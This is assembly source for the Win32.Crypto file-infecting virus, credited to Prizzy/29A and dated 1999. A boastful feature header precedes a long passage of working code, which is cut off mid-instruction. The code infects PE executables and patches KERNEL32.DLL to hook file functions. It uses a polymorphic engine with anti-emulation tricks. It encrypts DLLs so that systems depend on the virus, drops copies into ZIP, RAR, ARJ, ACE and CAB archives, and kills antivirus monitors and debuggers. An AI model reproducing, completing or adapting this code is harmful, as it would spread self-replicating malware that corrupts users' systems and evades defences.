; ; ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿ ; : Prizzy/29A : Win32.Crypto : Prizzy/29A : ; ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ ; ; I'm very proud on my very first virus at Win32 platform. It infects EXE ; files with PE (Portable Executable) header. Also it can compress itself ; into ZIP/ARJ/RAR/ACE/CAB archivez. If the virus catch DLL opeations, it ; encrypt/decrypt that by cryptography functions. Thus, we can pronounce ; the system is dependents on the virus (OneHalf idea). ; ; When infected EXE is started, it infects KERNEL32.DLL, hooks some Win32 ; functions and next reboot is actived. It catches "all" file operations, ; create thread/mutex, run Hyper Infection for API to find archivez, AV ; checksum files, EXEs and so on. ; ; If PHI-API will find an archive program, the virus compress itself and ; add itself to body (inside, not at the end). My PPE-II does NOT support ; copro & mmx garbages, only based with many features are new. ; ; ; Detailed Information ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; Cryptography Area, based on WinAPI (SR2/NT) functions ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Let us start. I exploited One Half technics for Win32 world, new method ; in our VX world. You exactly know One Half tries to encode your sectors ; and if you want to read its he decodes ones and so on, you exactly know ; what I think. Well, and because I use kernel32 infection I can hook all ; file functions. Then I decode all DLL files by PHI-II (Hyper Infection) ; and if the system wants to open DLL file I decode one, and so on. Then, ; the Win32 system is dependents on my virus. Naturally, the user can re- ; install Win95/98/NT/2000 but then DLL are in MSOffice, Visual C++, ICQ, ; Outlook, AutoCAD and many many more appz. For comparison: my Win98 has ; 831 DLL files and on my all disks are 5103 DLL files (including Win2k). ; I know this is the perfect way to get all what you want. But I've found ; out I can't hook all Win32 file operations so, true crypto DLL will be ; inside Ring0/Ring3 world - my future work... ; ; ; Prizzy Polymorphic Engine (PPE-II new version) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; I've removed all copro & mmx garbages and I've coded these new stuff: ; * brute-attack algorithm ; * random multi-layer engine ; By "brute-attack" I'm finding right code value by checksum. And because ; I don't know that number, AV neither. This process can take mostly 0.82 ; seconds on my P233. For more info find "ppe_brute_init:" in this source ; ; In the second case I don't decode by default (up to down) but by random ; multi-layer algorithm. It means I generate the certain buffer and by ; its I decode up or down. Thus I can generate more then 950 layers and ; typical some 69 layers. Also the random buffer, behind poly loop, has ; anti-heuristic protection (gaps) to AV couldn't simulate that process. ; So, only in my decoding loop are stored the places where the gaps are. ; Find "ppe_mlayer_generate:" label for many momre information. ; ; ; Infection ZIP/ARJ/RAR/ACE/CAB archivez, including RAR/ACE EXE-SFX ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; I will find these archive programs and by them I will compress some in- ; fected file by random compression level. Then the dropper is stored in- ; side archive, not at the end. So, I don't need have any CRC algorithms. ; However these operations are very complex, especially ZIP infection but ; it isn't impossible. So, AV cannot check only last file (stored) in ar- ; chive, but inside it. ; ; ; Main features ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; * Platforms: Windows 95/98, Windows NT/2000 (tested on 2031 build) ; * Residency: Yes, KERNEL32 way, working on 95/98 and NT/2k systems ; * Non-residency: Yes, only K32 infection ; * Stealth: Yes, DLLs working; opening, copying and loading ; * AntiDebugging: Yes, some stupid debuggers like TD32; routinues for ; disable SoftICE 95/NT. ; * AntiHeuristic: Yes, threads way and multi-layer anti-heuristic ; * AntiAntivirus: Yes, deleting checksum files, hacking AVAST database ; * Other anti-*: Yes, anti-emulator, anti-bait, anti-monitor ; * Fast Infection: Yes/No, infect only 20 EXEs every reboot, but infect ; all types of archivez on all diskz ; * Polymomrphism: Yes, using based garbages from Win9x.Prizzy, inclu- ; ding brute-force way and random multi-layer way ; * Other features: (a) Use of brute-CRC64 algorithm to find APIs in K32 ; (b) Encoding and decoding DLLs in real time ; (c) Memory allocations by "CreateFileMapping" func. ; 'cause of sharing among processes ; (d) Use of threads, mutexes & process tricks ; (e) Support of "do not infected" table ; (f) Checking files by natural logarithm ; (g) No optimalization, yeah, I don't lie (read ; "Words from Prizzy" 29A #4 to know why) ; (h) UniCode support ; ; ; Greetings ; ÄÄÄÄÄÄÄÄÄÄÄ ; ; And finally my greetz go to: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Darkman u're really great inet pal, thanx for fun on #virus :) ; Benny thanx for big help with threads, mutexes... we're wait- ; ing for Darkman's trip here, aren't we :) ? ; GriYo nah, I'd like to understand your ideas... thanx :) ! ; Flush u've really big anti-* ideas, dude ; MemoryLapse yeah, K32 infection... go out of efnet to undernet ; LordJulus you have great vx articles, viruses ... ; Asmodeus finish that virus and release it; thanx for your trust ; AV companies just where is my win9x.prizzy description :) ? ; ...and for VirusBuster and Bumblebee ; ; ; Contact me ; ÄÄÄÄÄÄÄÄÄÄ ; prizzy@coderz.net ; http://prizzy.cjb.net ; ; ; (c)oded by Prizzy/29A, December 1999 ; ; .386p .model flat,STDCALL include Include\Win32API.inc include Include\UseFul.inc include Include\MZ.inc include Include\PE.inc extrn ExitProcess:proc extrn MessageBoxA:proc ;ÄÄÄ´ prepare to program start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .data db ? .code ;ÄÄÄ´ some equ's needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;DEBUG equ YEZ ;only for debug and 1st start mem_size equ (mem_end -virus_start) ;size of virus in memory file_size equ (file_end-virus_start) ;size of virus in file infect_minsize equ 4096 ;only filez bigger then 4K infect_maxsize equ 100*1024*1024 ;to 100Mb access_ebx equ (dword ptr 16) ;access into stack when access_edx equ (dword ptr 20) ;will be used pushad access_ecx equ (dword ptr 24) access_eax equ (dword ptr 28) search_mem_size equ 100*(size dta+size search_address) ;ÄÄÄ´ some structurez for virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dta_struc struc ;Win32_FIND_DATA structure dta_fileattr dd ? ;for FindFirstFile function dta_time_creation dq ? dta_time_lastaccess dq ? dta_time_lastwrite dq ? dta_filesize_hi dd ? dta_filesize dd ? dta_reserved_0 dd ? dta_reserved_1 dd ? dta_filename db 260 dup (?) dta_filename_short db 14 dup (?) ends sysTime_struc struc ;used by my Windows API wYear dw 0000h ;"hyper infection" wMonth dw 0000h wDayOfWeek dw 0000h wDay dw 0000h wHour dw 0000h wMinute dw 0000h wSecond dw 0000h wMilliseconds dw 0000h ends Process_Information struc ;CreateProcess: struc #1 hProcess dd 00000000h hThread dd 00000000h dwProcessId dd 00000000h dwThreadId dd 00000000h ends Startup_Info struc ;CreateProcess: struc #2 cb dd 00000000h lpReserved dd 00000000h ;this struc has been stolen lpDesktop dd 00000000h ;from "Win32 Help" lpTitle dd 00000000h dwX dd 00000000h dwY dd 00000000h dwXSize dd 00000000h dwYSize dd 00000000h dwXCountChars dd 00000000h dwYCountChars dd 00000000h dwFillAttribute dd 00000000h dwFlags dd 00000000h wShowWindow dw 0000h cbReserved2 dw 0000h lpReserved2 dd 00000000h hStdInput dd 00000000h hStdOutput dd 00000000h hStdError dd 00000000h ends File_Time struc ;get/set file time struc dwLowDateTime dd 00000000h dwHighDateTime dd 00000000h ends ;ÄÄÄ´ some macroz needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; search "anti-emulators:" for more information @ANTI_E_START macro start_hack, finish_hack WHILE (num NE 0) push dword ptr [ebp+start_hack + \ ((finish_hack-start_hack) / 4 + 1 - num) * 4] num = num - 1 endm num = (finish_hack - start_hack) / 4 + 1 endm @ANTI_E_FINISH macro start_hack, finish_hack, thread_handle WHILE (num NE 0) pop dword ptr [ebp+finish_hack - \ (finish_hack-start_hack) mod 4 - \ ((finish_hack-start_hack) / 4 + 1 - num) * 4] num = num - 1 endm call [ebp+ddCloseHandle], thread_handle num = (finish_hack - start_hack) / 4 + 1 endm ;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus_start: call get_base_ebp ;get actual address to EBP mov eax,ebp db 2Dh ;sub eax,infected_ep infected_ep: dd 00001000h db 05h ;add eax,original_ep original_ep: dd 00000000 sub eax,[ebp+__pllg_lsize] push eax ;host address ; use anti-emulator pusha @SEH_SetupFrame ;set SEH handler call $ ;ehm :) jmp __return __anti_e_1: @SEH_RemoveFrame ;reset SEH handler popa call find_kernel32 ;find kernel's base address ; use anti-emulator @ANTI_E_START __thread_1_begin, __thread_1_finish lea eax,[ebp+__thread_1] ;thread function mov ebx,offset __thread_1_begin + \ (__thread_1_finish - __thread_1_begin) \ shl 18h ;upper imm8 register in EBX call __MyCreateThread ; * anti-heuristic __thread_1_begin equ this byte jmp $ ;anti-emulator :) jmp __return ;patch this ! random number __thread_1_finish equ this byte @ANTI_E_FINISH __thread_1_begin, __thread_1_finish, eax ; next code... call kill_av_monitors ;kill AVP, AVAST32 etc. call kill_debuggers ;bye, bye SoftICE, my honey call create_mutex ;already resident ? jc __return ;go back, if yes call crypto_startup call infect_kernel ;ehm, find kernel and infect! __return: pop eax add eax,offset virus_start jmp eax ;go back, my lord... ;ÄÄÄ´ main function for infect file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This is main function which infects file. ; ;Extension support: ; EXE ... executable file (PE), RAR/ACE SFX file ; DLL ... kernel32 infection, encypting through PHI-API ; CAB ... infecting Microsoft Cabinet File ; ZIP/ARJ/RAR/ACE ... dropper compressed,inside archive ; ;Okay, here is truth. I had many problems with EXE and DLL ;infection in this function. I found out all valuez have ;to be aligned etc. Especially Win2k need that. I also use ;"CheckSumMappedFile" function to calculate appz checksum. ; infect_file: ; save registers & get delta pusha call get_base_ebp ; get extension mov edi,[ebp+filename_ptr] ; convert lowercase characters to uppercase push edi call [ebp+ddlstrlen] ;get length of filename inc eax ;number of characters to push eax ;progress push edi ;filename call [ebp+ddCharUpperBuffA] ;convert to uppercase ; infect only files in these dirz IFDEF DEBUG cmp [edi+00000000h],'W\:C' ;"C:\WIN\WEWB4\XX\" jnz __if_debug ;directory cmp [edi+00000004h],'W\NI' jnz __if_debug cmp [edi+00000008h],'4BWE' jnz __if_debug cmp [edi+0000000Ch],'\XX\' jz __if_debug2 __if_debug: cmp [edi],'W\:C' ;"C:\WINDOWS\KERN" jnz infect_file_exit cmp [edi+4],'ODNI' jnz infect_file_exit cmp [edi+8],'K\SW' jnz infect_file_exit cmp [edi+8+4],'ENRE' jnz infect_file_exit __if_debug2: ENDIF ; check file name (by avoid table) mov ebx,[ebp+filename_ptr] ;filename lea esi,[ebp+avoid_table] ;avoid table call validate_name jc infect_file_exit ; check AV files (anti-bait) call fuck_av_files jc infect_file_exit ; get extension cld mov al,'.' ;search this char mov cx,filename_size ;max filename_size repnz scasb ;searching... dec edi ;set to that char cmp al,[edi] ;check again ! jnz infect_file_exit ;shit, bad last char IFDEF DEBUG mov eax,[edi-4] ;you can infect only cmp eax,'23LE' jz __OnlyMyKernel cmp eax,'DCBA' ;this file on my disk jnz infect_file_exit ;i won't risk __OnlyMyKernel: ENDIF ; get file information lea esi,[ebp+dta] ;dta structure mov edx,[ebp+filename_ptr] ;FileName pointer call __MyFindFirst jc infect_file_exit ;success ? call __MyFindClose ;close handle cmp dword ptr [ebp+it_is_kernel],00000001h jz infect_file_continue ;if kernel32, infect it ; check extension mov eax,[edi] ;get ext of file not eax cmp eax,not 'EXE.' ;is it EXE file ? jnz next_ext_1 call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ? jnc infect_file_exit jmp next_ext_end next_ext_1: cmp eax,not 'ECA.' ;is it ACE archive file ? jnz next_ext_2 call infect_ACE next_ext_2: cmp eax,not 'RAR.' ;is it RAR archive file ? jnz next_ext_3 call infect_RAR next_ext_3: cmp eax,not 'JRA.' ;is it ARJ archive file ? jnz next_ext_4 call infect_ARJ next_ext_4: cmp eax,not 'PIZ.' ;is it ZIP archive file ? jnz next_ext_5 call infect_ZIP next_ext_5: cmp eax,not 'BAC.' ;is it CAB archive file ? jnz infect_file_exit call infect_CAB jmp infect_file_exit next_ext_end: ;infect if any EXE file ; check number of infected files cmp [ebp+NewACE.dropper],00000000h jz infect_file_continue ;dropper exists ? cmp dword ptr [ebp+file_infected],20 jae infect_file_exit ;infected more then 20 EXEs ? ; check file size infect_file_continue: mov eax,[ebp+dta.dta_filesize] cmp eax,infect_minsize ;is filesize smaller ? jb infect_file_exit cmp eax,infect_maxsize ;is filesize bigger ? ja infect_file_exit ; set file attributes mov ecx,FILE_ATTRIBUTE_NORMAL mov edx,[ebp+filename_ptr] call __MySetAttrFile jc infect_file_exit ;success ? ; open file mov edx,[ebp+filename_ptr] call __MyOpenFile ;open file ! jc infect_file_restattr mov [ebp+file_handle],eax ; create a memory map object push 00000000h ;name of file mapping object push 00000000h ;low 32 bits of object size push 00000000h ;high 32 bits of object size push PAGE_READONLY ;get needed valuez, etc. push 00000000h ;optional security attributes push [ebp+file_handle] ;handle to file to map call [ebp+ddCreateFileMappingA] or eax,eax ;failed ? jz infect_file_close mov [ebp+file_hmap],eax ;store mapped file handle ; view of file in our address push 00000000h ;number of bytes to map push 00000000h ;low 32 bits of the offset push 00000000h ;high 32 bits of the offset push FILE_MAP_READ ;access mode push [ebp+file_hmap] ;mapped file handle call [ebp+ddMapViewOfFile] or eax,eax ;failed ? jz infect_file_closeMap mov [ebp+file_hmem],eax ;mapped file in memory ; check file signature cmp word ptr [eax.MZ_magic], \ IMAGE_DOS_SIGNATURE ;test 'MZ' jnz infect_file_unMap ; check "PE" valuez cmp word ptr [eax.MZ_crlc],0000h jz infect_file_okay ;no PE ? cmp word ptr [eax.MZ_lfarlc],0040h jb infect_file_unMap ;bad PE ? infect_file_okay: ; seek on NT header mov esi,eax add esi,[eax.MZ_lfanew] push esi call [ebp+ddIsBadCodePtr] ;can we read memory at least? or eax,eax jnz infect_file_unMap ; check "PE" signature cmp dword ptr [esi.NT_Signature], \ IMAGE_NT_SIGNATURE jnz infect_file_unMap ;is it really 'PE\0\0' ? ; already infected ? mov eax,[ebp+file_hmem] ;mapped file in memory add eax,[ebp+dta.dta_filesize] mov eax,[eax-00000004h] ;infected dword flag call __check_infected jnc infect_file_unMap ; check header flags mov ax,[esi+NT_FileHeader.FH_Characteristics] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz infect_file_unMap test ax,IMAGE_FILE_DLL ;no DLL ? jz infect_file_no_dll cmp dword ptr [ebp+it_is_kernel],00000000h jz infect_file_unMap ;is it kernel32 infection ? infect_file_no_dll: call __getLastObjectTable ;seek on last object table ; alloc memory for polymorphic engine mov eax,file_size + 30000h call malloc mov [ebp+mem_address],eax add eax,file_size mov [ebp+poly_start],eax ; get new entry-point (EXE), or change IT of kernel32 ? mov eax,[ebx+SH_SizeOfRawData] add eax,[ebx+SH_VirtualAddress] mov dword ptr [ebp+infected_ep],eax mov eax,[esi+NT_OptionalHeader.OH_AddressOfEntryPoint] mov dword ptr [ebp+original_ep],eax mov [ebp+poly_finish],mem_size ; run Prizzy Polymorphic Engine (PPE-II) cmp dword ptr [ebp+it_is_kernel],00000000h jnz infect_file_common call ppe_startup ; calculate maximum infected file size infect_file_common: mov eax,[ebx+SH_SizeOfRawData] ;file size add eax,[ebx+SH_PointerToRawData] add eax,[ebp+poly_finish] ; + virus file size add eax,00000004h ; + infected flag mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment] xor edx,edx add eax,ecx dec eax div ecx mul ecx push eax ; unmap file object push [ebp+file_hmem] call [ebp+ddUnmapViewOfFile] ; close mapping file object push [ebp+file_hmap] call [ebp+ddCloseHandle] ; reopen memory mapped file object push 00000000h ;name of file mapping object push dword ptr [esp+0000004h];low 32 bits of object size push 00000000h ;high 32 bits of object size push PAGE_READWRITE ;get needed valuez, etc. push 00000000h ;optional security attributes push [ebp+file_handle] ;handle to file to map call [ebp+ddCreateFileMappingA] mov [ebp+file_hmap],eax ;store mapped file handle ; view of file in our memory push 00000000h ;number of bytes to map push 00000000h ;low 32 bits of the offset push 00000000h ;high 32 bits of the offset push FILE_MAP_WRITE ;access mode push [ebp+file_hmap] ;mapped file handle call [ebp+ddMapViewOfFile] mov [ebp+file_hmem],eax ;mapped file in memory ; seek on last object table add eax,[eax.MZ_lfanew] mov esi,eax call __getLastObjectTable ; infect "KERNEL32" file OR change EntryPoint cmp dword ptr [ebp+it_is_kernel],00000000h jz infect_file_entry mov [ebp+__pllg_lsize],00000000h ;more info in that func call infect_file_kernel ;hook "kernel32" table :) jmp infect_file_no_change infect_file_entry: mov eax,dword ptr [ebp+infected_ep] add eax,[ebp+file_size3] mov [esi+NT_OptionalHeader.OH_AddressOfEntryPoint],eax ; copy mem_address (virus body) to the end of file infect_file_no_change: push esi mov esi,[ebp+mem_address] ;source data mov edi,[ebx+SH_SizeOfRawData] add edi,[ebx+SH_PointerToRawData] add edi,[ebp+file_hmem] ;destination pointer mov ecx,[ebp+poly_finish] ;number of bytes to copy rep movsb pop esi ; calculate new physical size mov eax,[ebp+poly_finish] cmp dword ptr [ebp+it_is_kernel],00000000h jz $ + 7 ;this isn't logic but i had mov eax,mem_size ;problems in k32 memory add eax,[ebx+SH_SizeOfRawData] mov ecx,[esi+NT_OptionalHeader.OH_FileAlignment] xor edx,edx add eax,ecx dec eax div ecx mul ecx mov [ebx+SH_SizeOfRawData],eax ; calculate new potential virtual size mov eax,[ebx+SH_VirtualSize] add eax,mem_size mov ecx,[esi+NT_OptionalHeader.OH_SectionAlignment] xor edx,edx add eax,ecx dec eax div ecx mul ecx ; if new phys_size > virt_size ==> virt_size = phys_size cmp eax,[ebx+SH_SizeOfRawData] jnc infect_file_no_update mov eax,[ebx+SH_SizeOfRawData] infect_file_no_update: mov [ebx+SH_VirtualSize],eax add eax,[ebx+SH_VirtualAddress] ; infected host increased an image size ? cmp eax,[esi+NT_OptionalHeader.OH_SizeOfImage] jc infect_no_update_2 mov [esi+NT_OptionalHeader.OH_SizeOfImage],eax infect_no_update_2: ; set these PE flags or dword ptr [ebx+SH_Characteristics], \ IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \ IMAGE_SCN_MEM_WRITE ; already infected flag mov eax,02302301h ;special number call ppe_get_rnd_range inc eax ;it can't be zero imul eax,117 ;encrypt one pop edi ;file size + virus size mov [ebp+file_hsize],edi add edi,[ebp+file_hmem] ;mapped file in memory mov [edi-00000004h],eax ;already infected flag ; calculate new checksum because of Win2k and WinNT :) cmp dword ptr [esi+NT_OptionalHeader. \ OH_CheckSum],00000000h jz infect_file_no_checksum @pushsz "IMAGEHLP.DLL" ;load "IMAGEHLP.DLL" library call [ebp+ddLoadLibraryA] or eax,eax ;failed ? jz infect_file_no_checksum push eax ;parameter for FreeLibrary ; get function to calculate checksum @pushsz "CheckSumMappedFile" ;get address of this function push eax ;library handle call [ebp+ddGetProcAddress] or eax,eax jz infect_file_deload ; calculate checksum lea ecx,[esi+NT_OptionalHeader.OH_CheckSum] push ecx ;receives computed checksum call $+9 ;header old checksum dd ? push dword ptr [ebp+file_hsize] push [ebp+file_hmem] ;memory mapped address call eax infect_file_deload: call [ebp+ddFreeLibrary] ; dealloc memory for PPE-II infect_file_no_checksum: mov eax,[ebp+mem_address] call mdealloc ; new infected file inc dword ptr [ebp+file_infected] ; use for acrhive dropper ? cmp dword ptr [ebp+dta.dta_filesize],30000 ja infect_file_unMap ;for archive fsize < 30Kb push [ebp+file_hmem] ;mapped file in memory call [ebp+ddUnmapViewOfFile] push [ebp+file_hmap] ;mapped file object call [ebp+ddCloseHandle] mov ebx,[ebp+file_handle] ;I must close infected file call __MyCloseFile ;coz I'll copy it, etcetera call __add_dropper ;compress it by ZIP, RAR ... jmp infect_file_restattr infect_file_unMap: push [ebp+file_hmem] ;mapped file in memory call [ebp+ddUnmapViewOfFile] infect_file_closeMap: push [ebp+file_hmap] ;mapped file object call [ebp+ddCloseHandle] infect_file_time: lea eax,[ebp+dta.dta_time_lastwrite] lea ecx,[ebp+dta.dta_time_lastaccess] lea edx,[ebp+dta.dta_time_creation] call [ebp+ddSetFileTime], \ [ebp+file_handle], \ edx, ecx, eax infect_file_close: mov ebx,[ebp+file_handle] ;close file handle call __MyCloseFile infect_file_restattr: mov ecx,[ebp+dta.dta_fileattr] mov edx,[ebp+filename_ptr] ;restore file attributes call __MySetAttrFile infect_file_exit: popa ;go to HyperInfection or to ret ;Kernel32 hooked functions ;--------------------------------------------------------- ;Common file infected semi-functions. ; __getLastObjectTable: movzx eax,[esi+NT_FileHeader.FH_NumberOfSections] cdq mov ecx,IMAGE_SIZEOF_SECTION_HEADER dec eax mul ecx ;eax=offs of last section movzx edx,[esi+NT_FileHeader.FH_SizeOfOptionalHeader] add eax,edx add eax,esi add eax,offset NT_OptionalHeader.OH_Magic ;seek to l.o. table xchg eax,ebx ret ;ÄÄÄ´ function to hook some funtions from KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;At last I've finished this unpalatable function. I remem- ;ber how hardly I have found an interesting source about ;this method because I have many many problems with this. ;So, let's begin. At first I will get these addresses: ; * name table pointer (as are function names) ; * address table pointer (as are functions addresses) ; * ordinal table pointer ;Then I'll get function name, calculate its CRC32 and I'll ;compare it with my future-hooked CRC32 table. If I will ;find it, i will save its original address, replace by my ;my new offset and I'll write it to the file. ; ;I would like to thank: ; * "Memory Lapse" for his "Win32.Heretic" source ; * Darkman/29A for giving me that source ; ;I must infect "kernel32.dll" because I must hook all disk ;functions because of "Prizzy Hyper Infection for API". ; infect_file_kernel: ; save all registers pusha ; check address of APIs in KERNEL32 file body mov eax,[ebp+file_hmem] add eax,[eax.MZ_lfanew] ;go to new "PE" header mov eax,dword ptr [eax.OH_DirectoryEntries + \ IMAGE_SIZEOF_FILE_HEADER + \ 00000004h] ;get Export Directory Table add eax,[ebp+file_hmem] mov ebx,[eax.ED_AddressOfOrdinals] mov esi,[eax.ED_AddressOfNames] mov edx,[eax.ED_AddressOfFunctions] push [eax.ED_BaseOrdinal] ;save BaseOrdinal add eax,[eax.ED_BaseOrdinal] add ebx,[ebp+file_hmem] ;adjust ordinal table pointer add esi,[ebp+file_hmem] ;adjust name table pointer add edx,[ebp+file_hmem] ;adjust address table pointer push edx esi ebx ;save startup values ; main loop lea edi,[ebp+Hooked_API] mov ecx,00000001h __ifk_next_loop: push edx ;address table pointer push ecx ;save counter shl ecx,01h ;convert to word index movzx eax,word ptr [ebx+ecx] ;calculate ordinal index sub eax,[esp+00000014h] ;relative to ordinal basee shl eax,02h ;convert to dword index mov edx,eax mov ecx,[esp+00000010h] ;address pointer table add eax,ecx ;calculate offset lea ecx,[ecx+edx] ;RVA of API push esi ;address name table mov esi,[esi] ;get pointer from name table add esi,[ebp+file_hmem] call __get_CRC32 ;get CRC32 for function name cmp eax,[edi] ;compare CRC32 pop esi jnz __ifk_not_found push edi ;load original function addr lea eax,[ebp+Hooked_API] sub edi,eax shl edi,01h ;so, (x/2)*8 lea eax,[ebp+Hooked_API_functions] add edi,eax mov eax,[edi] ;get address into "jmp ????" add eax,ebp ;ehm, adjust that address mov ebx,[ecx] ;load original address add ebx,[ebp+kernel_base] mov [eax],ebx ;save original func. address mov eax,[edi+00000004h] ;load new address in v.body pop edi add edi,00000004h ;next CRC32 function value sub eax,offset virus_start ; - "offset" add eax,[ebp+dta.dta_filesize] ;new func. pos in "k32" mov [ecx],eax ; for next loop I must restart these values mov ebx,[esp+00000008h] ;load ordinal table pointer mov esi,[esp+0000000Ch] ;load name table pointer mov edx,[esp+00000010h] ;load address table pointer mov dword ptr [esp],00000000h ;reset counter mov [esp+00000004h],edx ;reset address table pointer jmp __ifk_no_change ;this was fucking bug ! __ifk_not_found: add esi,00000004h ;next name pointer add dword ptr [esp + \ ;next function pointer 00000004h],00000004h __ifk_no_change: pop ecx ;functions counter inc ecx ;next function pop edx ;address table pointer cmp dword ptr [edi],00000000h ;end of hooked functions ? jnz __ifk_next_loop mov dword ptr [ebp+it_is_kernel],00000000h mov dword ptr [ebp+HyperInfection_k32],00000000h ; write this virus body to the end of "kernel32.dll" ; virus body cannot be encrypted... lea esi,[ebp+virus_start] ;start of virus body mov edi,[ebp+mem_address] ;allocated memory mov ecx,mem_size rep movsb mov dword ptr [ebp+it_is_kernel],00000001h mov eax,mem_size ;without poly-engine !!! mov [ebp+poly_finish],eax add esp,4*4 popa ret ;complex way how to go back ;ÄÄÄ´ main function of infect all filez on disks ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;This function searchs these extensions on all disks: ; EXE, ZIP, ARJ, RAR, ACE, CAB, ... ;and many namez, find "HyperTable" struct for more info. ;If you want to know more about this method, open "Hyper ;Infection" article in 29A #4, or download one from my web ; ;Note: * This is version for API, for IDT orientation use ; code from "Win95.Prizzy", thanks. ; init_search: pusha call get_base_ebp ;where we're into ebp mov ebx,[ebp+search_table] ;position in HyperTable cmp byte ptr [ebp+search_start],00h jnz __continue mov byte ptr [ebp+search_start],01h call get_disks ;get drive parameters lea eax,[ebp+time] push eax call [ebp+ddGetSystemTime] ;get actual time mov eax,search_mem_size ;size of mem for searching call malloc jz init_search_error ;were we sucessful ? mov [ebp+search_address],eax mov eax,005C3A43h ;'C:\\0' mov dword ptr [ebp+search_filename],eax __searching: mov byte ptr [ebp+search_plunge],00h jmp search_all_dirs __searching_end: cmp byte ptr [ebp+search_filename],'Z' jz init_search_done inc byte ptr [ebp+search_filename] mov word ptr [ebp+search_filename+2],005Ch ; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ? mov cl,'A' sub cl,[ebp+search_filename] neg cl mov eax,00000001h shl eax,cl ;convert to BCD test [ebp+gdt_flags],eax jnz __searching ;may I "use" this disk ? jmp __searching_end ;uaaaaah, i'm crazy... :) init_search_exit: mov ecx,dword ptr [ebp+search_address] call mdealloc ;deallocate memory init_search_error: popa ;restore all regz ret init_search_done: ;all disks infected? call hookHyperInfection_Done ;remove timer jmp init_search_exit search_all_dirs: lea ebx,[ebp+HyperTable] search_all_dirs_continue: call __add_filename ;add filename or extension call __calc_in_mem ;offs dta in mem to esi lea edx,[ebp+search_filename] call __MyFindFirst mov [esi-size search_handle],eax ;save handle jc __find_dir ;error ? __repeat: call __clean ;delete extension push esi lea esi,[esi].dta_filename ;and add file name @copysz ;copy with zero char pop esi ;restore esi=dta in memory lea eax,[ebp+search_filename] mov [ebp+filename_ptr],eax __final_SoftICE_1: nop nop ; int 4 ;final SoftICE breakpoint mov eax,[ebx-00000004h] ;input value push dword ptr [ebx-00000008h] add [esp],ebp ;this was ghastly bug ! call [esp] ;call function pop eax push word ptr [ebp+time.wSecond] lea eax,[ebp+time] ;give time other appz push eax call [ebp+ddGetSystemTime] pop cx mov [ebp+search_table],ebx ;position in HyperTable cmp cx,[ebp+time.wSecond] ;out of time ? jnz init_search_error __continue: call __calc_in_mem ;esi=dta in memory mov eax,[esi-size search_handle] ;handle of FindFirstFile call __MyFindNext jnc __repeat call __MyFindClose __find_dir: call __clean ;remove file name/extension cmp byte ptr [ebx],0FFh ;last file name ? jnz search_all_dirs_continue __find_dir_continue: mov [edi],002A2E2Ah ;add '*.*',0 call __calc_in_mem lea edx,[ebp+search_filename] call __MyFindFirst ;search directory "only" mov [esi-size search_handle],eax jc __search_exit __find_in_dir: test [esi].dta_fileattr,10h ;is it directory ? jz __find_next cmp [esi].dta_filename,'.' ;it can't be directory jz __find_next inc byte ptr [ebp+search_plunge] call __get_last_char ;edi=last char of filename lea esi,[esi].dta_filename ;esi=filename call __clean ;remove extension @copysz ;copy directory name and mov word ptr [edi-1],005Ch ;set '\' at the end jmp search_all_dirs ;search in new directory __find_next: call __calc_in_mem mov eax,[esi-size search_handle] call __MyFindNext jnc __find_in_dir __search_exit: call __clean ;remove file name and '\' mov byte ptr [edi-1],00h ;it's out of directory dec byte ptr [ebp+search_plunge] cmp byte ptr [ebp+search_filename+2],00h jz __searching_end jmp __find_next __calc_in_mem: ;get pointer to dta in memory movzx esi,byte ptr [ebp+search_plunge] imul esi,size dta+size search_handle add 